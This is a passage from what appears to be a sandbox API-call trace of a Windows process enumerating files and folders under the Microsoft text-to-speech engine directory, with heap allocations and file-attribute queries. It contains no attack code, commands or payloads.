cAlternateFileName="")) returned 1 [0055.461] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0055.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.461] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.462] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.462] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.462] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.462] NtClose (Handle=0x178) returned 0x0 [0055.462] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3960 [0055.462] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.462] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.462] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.462] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0055.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.463] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0055.463] GetLastError () returned 0x12 [0055.463] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.464] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.464] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.464] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0055.464] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06718 [0055.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.464] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.465] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.465] NtClose (Handle=0x178) returned 0x0 [0055.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06718) returned 1 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06718 [0055.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06508 [0055.465] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0055.465] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.465] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0055.465] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.465] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0055.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06820 [0055.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04fa0 [0055.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06a30 [0055.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.466] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0055.466] GetLastError () returned 0x12 [0055.466] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459d38 [0055.466] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.466] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.466] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0055.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06928 [0055.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.467] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.467] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.467] NtClose (Handle=0x178) returned 0x0 [0055.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06928) returned 1 [0055.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06928 [0055.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06b38 [0055.467] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.467] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.467] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.467] GetLastError () returned 0x12 [0055.467] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.468] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.468] GetLastError () returned 0x12 [0055.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06b38) returned 1 [0055.468] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06928) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0055.468] GetLastError () returned 0x12 [0055.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06508) returned 1 [0055.468] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06820) returned 1 [0055.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06718) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, 